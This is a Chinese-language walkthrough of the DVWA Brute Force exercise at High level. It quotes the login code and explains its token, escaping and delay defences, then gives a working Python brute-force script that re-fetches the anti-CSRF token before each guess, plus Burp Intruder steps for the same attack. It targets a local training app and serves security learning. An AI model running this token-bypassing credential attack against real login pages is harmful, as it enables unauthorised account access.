DVWA-1.3 Brute Force(暴力破解)-High-绕过token
High Level
查看源碼
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src="{$avatar}" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
high.php
我們發(fā)現(xiàn)
(1)代碼加入了token,可以抵御CSRF攻擊,同時(shí)也增加了爆破的難度。通過抓包,可以看到,登錄驗(yàn)證時(shí)提交了四個(gè)參數(shù):username、password、Login以及user_token。
每次服務(wù)器返回的登陸頁面中都會包含一個(gè)隨機(jī)的user_token的值,用戶每次登錄時(shí)都要將user_token一起提交。服務(wù)器收到請求后,會優(yōu)先做token的檢查,再進(jìn)行sql查詢。
(2)源碼使用了stripslashes()、 mysql_real_escape_string()對參數(shù)username、password進(jìn)行過濾、轉(zhuǎn)義,進(jìn)一步抵御sql注入。
★stripslashes()
去除字符串中的反斜線字符,如果有兩個(gè)連續(xù)的反斜線,則只去掉一個(gè)。
★mysql_real_escape_string()
函數(shù)轉(zhuǎn)義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
x00
'
"
x1a
如果成功,則該函數(shù)返回被轉(zhuǎn)義的字符串。如果失敗,則返回 false。
(3)錯(cuò)誤頁面使用了sleep( rand( 0, 3 ) );,也就是說當(dāng)我們輸入錯(cuò)誤的用戶名或密碼時(shí),會隨機(jī)等待0-3秒后才顯示錯(cuò)誤信息。降低了暴力破解的效率。
漏洞利用
針對這樣的情況,我們能不能攻破呢?答案是肯定的,我們需要重新設(shè)計(jì)破解動(dòng)作:
破解動(dòng)作:訪問首頁——獲得user_token參數(shù)——發(fā)送帶user_token的登錄數(shù)據(jù)包
方法一 python腳本
# Author:Zheng Na
import requests,re
url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}
flag = False
f1 = open("username.txt", 'r')
for line1 in f1:
username = line1.strip()
f2 = open("password.txt", 'r')
for line2 in f2:
# 訪問首頁
response1 = requests.get(url,headers=headers)
# 獲取user_token
user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",response1.text)[0]
# 發(fā)送登錄數(shù)據(jù)包
password = line2.strip()
params = {'username': username, 'password': password, 'Login': 'login','user_token':user_token}
response2 = requests.get(url, params=params, headers=headers)
if "Username and/or password incorrect." in response2.text:
print("username:%s,password:%s,user_token:%s----wrong account!" % (username, password, user_token))
else:
print("33[31;1musername:%s,password:%s,user_token:%s----right account!33[0m" % (username, password, user_token))
flag = True
break
if flag == True:
break
f2.close()
f1.close()
結(jié)果
PS:由于本關(guān)每次嘗試密碼時(shí),都需要附帶上一個(gè)請求返回的token,因此本關(guān)不能使用多線程腳本,否則無法驗(yàn)證token。
另外,寫Python腳本時(shí),除了使用re模塊正則表達(dá)式匹配token外,還可以使用以下2種方法。
使用PyQuery方法
# Author:Zheng Na
import requests
from pyquery import PyQuery
url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}
# 訪問首頁
response1 = requests.get(url, headers=headers)
# 獲取user_token
pq=PyQuery(response1.text)
user_token = pq("input[name=user_token]").val()
print(user_token) #返回:fbe4b1539c50640a96bca639d09f42c4
使用BeautifulSoup方法
# Author:Zheng Na
import requests
from bs4 import BeautifulSoup
url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}
# 訪問首頁
response1 = requests.get(url, headers=headers)
# 獲取user_token
soup = BeautifulSoup(response1.text,"xml")
user_token = soup.find_all('input')[3]["value"]
print(user_token) #返回:fdccfe30e48a860eb62d19d6bae1e8fb
方法二 burpsuite爆破
步驟
1.抓包,發(fā)送到Intruder模塊
2.選擇Pitchfork(草叉模式),添加爆破的參數(shù)
3.在Options中找到Request Engine模塊,把線程數(shù)設(shè)為1
4.在Options中找到Rediections模塊,選擇always,允許重定向
5.在Options中找到Grep-Extract模塊,點(diǎn)擊Add,并設(shè)置篩選條件,得到user_token
6.在Payloads中為選擇的參數(shù)設(shè)置字典
7.點(diǎn)擊start attack,開始爆破
根據(jù)返回長度的大小,可以得到正確的用戶密碼
參考:
https://www.cnblogs.com/bmjoker/p/9096225.html
https://www.freebuf.com/articles/web/116437.html
總結(jié)
以上是生活随笔為你收集整理的DVWA-1.3 Brute Force(暴力破解)-High-绕过token的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: linux 计划任务 cron 全攻略
- 下一篇: day 3 list列表生成式